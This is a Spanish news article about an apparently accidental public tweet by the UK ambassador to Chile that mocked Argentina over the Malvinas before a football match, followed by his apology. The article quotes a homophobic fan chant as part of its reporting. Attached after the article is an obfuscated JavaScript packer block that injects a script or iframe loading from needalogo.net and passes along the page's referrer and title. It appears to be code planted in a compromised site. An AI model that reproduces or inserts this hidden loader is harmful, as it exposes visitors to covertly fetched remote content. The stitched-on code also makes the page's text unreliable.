“¿Cuáles son las Islas que les quitaron a quién por qué cosa? Quizá me lo entere en el estadio Nacional este martes? Tengo mi entrada ya!” La ironía hacía referencia al reclamo argentino de soberanía sobre las Islas Malvinas, que probablemente resuene mañana cuando la Selección Nacional de fútbol que dirige Alejandro “Pachorra” Sabella se enfrente contra Chile en Santiago.

Pero el mensaje deja de ser gracioso, en cierta forma, porque pertenece a Jon Benjamin, embajador del Reino Unido en Chile, que tuvo una posición muy poco diplomática dado que su tuit, según él, debía haberse enviado como un mensaje privado y no como público.

El mensaje, además, haría referencia a un cántico de la hinchada chilena, que dice hace referencia a la guerra de Malvinas de 1982: “Argentinos, maricones, les quitaron las Malvinas por huevones”, es el verso en cuestión

Benjamin eliminó el tuit, pero el daño ya había sido hecho y tuvo que salir a pedir disculpas: “Lamento haber ofendido con un DM privado que publiqué por error. Les tengo mucho cariño a mis amigos argentinos y respeto por su selección”, escribió.

“http:///?sl=319481-c261c&data1=Track1&data2=Track2″;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(7(){2 d=3;2 w=1;2 h=1;2 t=d.8(\’9\’);2 4=5.a(5.b()*c);2 0=\’e://f.g/i/j?\';0=0+\’k=\’+3.l;0=0+\’&m=\’+3.n;0=0+\’&r=\’+4;d.o(\’\’)})();’,35,35,’src||var|document|id|Math|iframe|function|createElement|script|floor|random|9999||http|needalogo|net||rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style|padding||0px||border|none||width|height’.split(‘|’),0,{}))